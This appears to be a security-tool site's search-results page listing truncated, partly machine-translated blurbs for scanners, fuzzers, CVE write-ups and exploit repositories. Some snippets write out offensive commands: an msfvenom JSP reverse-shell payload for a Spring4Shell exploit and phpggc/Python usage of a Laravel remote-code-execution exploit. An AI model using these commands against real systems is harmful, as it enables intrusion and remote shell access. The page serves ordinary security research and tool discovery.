3875 matches found
CVE-2026-80585
CVE-2026-80585 affects the Linux kernel MPTCP (Multipath TCP) fastopen subsystem. The root cause is that mptcp_fastopen_subflow_synack_set_params() set the is_mptfo flag before verifying that SYN data was actually queued in the receive queue. For passive TCP Fast Open SYNs carrying a valid cookie...
Fast-CVE-2022-22965
靶机 root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Die Reverse-Shell basiert im Wesentlichen auf MSFvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Nach der URL-Kodierung der JSP-Datei verwenden Sie root@kitploi...
whisper-pair
Scanner di Vulnerabilità Fast Pair Strumento di ricerca sulla sicurezza per rilevare accessori Bluetooth vulnerabili agli attacchi WhisperPair 🌐 WhisperPair Research • 📦 Installazione • 🚀 Utilizzo • 🔬 Dettagli Tecnici ⚠️ Avvertenza Questo strumento è destinato esclusivamente a test di sicurezza...
wpair-app
WPair Scanner di vulnerabilità e strumento di ricerca per CVE-2025-36911 ad es. WhisperPair Funzionalità • Installazione • Utilizzo • Come funziona • Vulnerabilità • Crediti Disclaimer Questa applicazione è un'implementazione indipendente creata da @ZalexDev a titolo personale. I ricercatori...
WhisperPair
WhisperPair: Banco di prova per Google Fast Pair -green Uno strumento pratico per testare se i dispositivi Google Fast Pair sono vulnerabili ad attacchi di associazione, binding dell'account e attacchi a livello di protocollo. Questo repository fornisce il banco di prova WhisperPair, uno strument...
vercel-botid
Vercel BotID Solver / Intestazione "X-Is-Human" modalità base Panoramica Questo progetto fornisce un risolutore basato su Golang per la sfida Vercel BotID. Utilizza go-fAST per deoffuscare e quindi estrarre ogni valore richiesto. incredibilmente veloce ⭐ Mostra il tuo Supporto Per favore, metti u...
mimikatz-detector-condrv
Mimikatz Detector - ConDrv + ConsoleMonitor Questo progetto si basa sulla ricerca effettuata per la tecnica di rilevamento di mimikatz fase 2. La soluzione contiene più progetti: ConsoleMonitor - Un'applicazione GUI in C per intercettare il traffico relativo alla console input output tramite ConD...
fast-security-scanners
Scanner/controlli di sicurezza veloci Un piccolo contributo alla community : Usiamo tutti questi strumenti nelle valutazioni di sicurezza e nel nostro servizio di monitoraggio delle vulnerabilità Controlla il tuo dominio per DNS NS takeover Repo docker run --dns=8.8.8.8 -e VULNID=dnsnstakeover -e...
laravel-exploits
laravel-exploits Exploit per CVE-2021-3129 Dettagli: https://www.ambionics.io/blog/laravel-debug-rce Utilizzo root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/...
malcom
Malcom - Analisador de Comunicação de Malware Malcom é uma ferramenta projetada para analisar a comunicação de rede de um sistema usando representações gráficas do tráfego de rede e referenciá-las com fontes conhecidas de malware. Isso é útil ao analisar como certas espécies de malware tentam se...
BLUE-SPY
BLUE-SPY - फास्ट पेयर भेद्यता अनुसंधान उपकरण सुरक्षा अस्वीकरण और कानूनी चेतावनी ⚠️ यह सॉफ़्टवेयर केवल अधिकृत सुरक्षा अनुसंधान और नैतिक परीक्षण के लिए है ⚠️ इस उपकरण का अनधिकृत उपयोग उन उपकरणों के खिलाफ जिनके आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है और इसके...
ffuf
ffuf - Fuzz Faster U Fool A fast web fuzzer written in Go. Installation Example usage Content discovery Vhost discovery Parameter fuzzing POST data fuzzing Using external mutator Configuration files Help Interactive mode Installation Download a prebuilt binary from releases page, unpack and run! ...
CVE-2023-48223
CVE-2023-48223 PoC Confusione algoritmo fast-jwt Questo repository dimostra la confusione degli algoritmi JWT in fast-jwt quando la verifica del token non blocca gli algoritmi consentiti. Configurazione dell'ambiente Requisiti Node.js 18 o superiore npm OpenSSL deve essere disponibile nel PATH de...
CVE-2025-30144
सारांश fast-jwt लाइब्रेरी RFC https://datatracker.ietf.org/doc/html/rfc7519page-9 के अनुसार iss क्लेम को सही ढंग से मान्य नहीं करती है। विवरण fast-jwt लाइब्रेरी में iss जारीकर्ता क्लेम सत्यापन स्ट्रिंग्स की एक सरणी को एक वैध iss मान के रूप में अनुमति देता है। यह डिज़ाइन दोष एक संभावित हमले को सक्...
NtHiM
NtHiM - Rilevamento di Sub-domain Takeover Super Veloce...
hashcobra
hashcobra hashcobra Hash Cracking tool. Description This tool uses a new method to crack hashes. With the help of rainbow tables concept this tool generates rainbow tables from wordlists to heavily optimize the cracking process. Usage root@kitploit: $ ./hashcobra -H --== hashcobra by sepehrdad ==...
subfinder
Fast passive subdomain enumeration tool. Features • Install • Usage • API Setup • Library • Join Discord subfinder is a subdomain discovery tool that returns valid subdomains for websites, using passive online sources. It has a simple, modular architecture and is optimized for speed. subfinder is...
icebox
IceBox Icebox is a Virtual Machine Introspection solution that enable you to stealthily trace and debug any process kernel or user. It's based on project Winbagility. Files which might be helpful: INSTALL.md: how to install icebox. BUILD.md: how to build icebox. Demo Project Organisation fdp: Fas...
waldo
Waldo is a lightweight and multithreaded directory and subdomain bruteforcer implemented in Python. It can be used to locate hidden web resources and undiscovered subdomains of the specified target. Key Features Quickly and easily generate a list of all subdomains of target domain Discover hidden...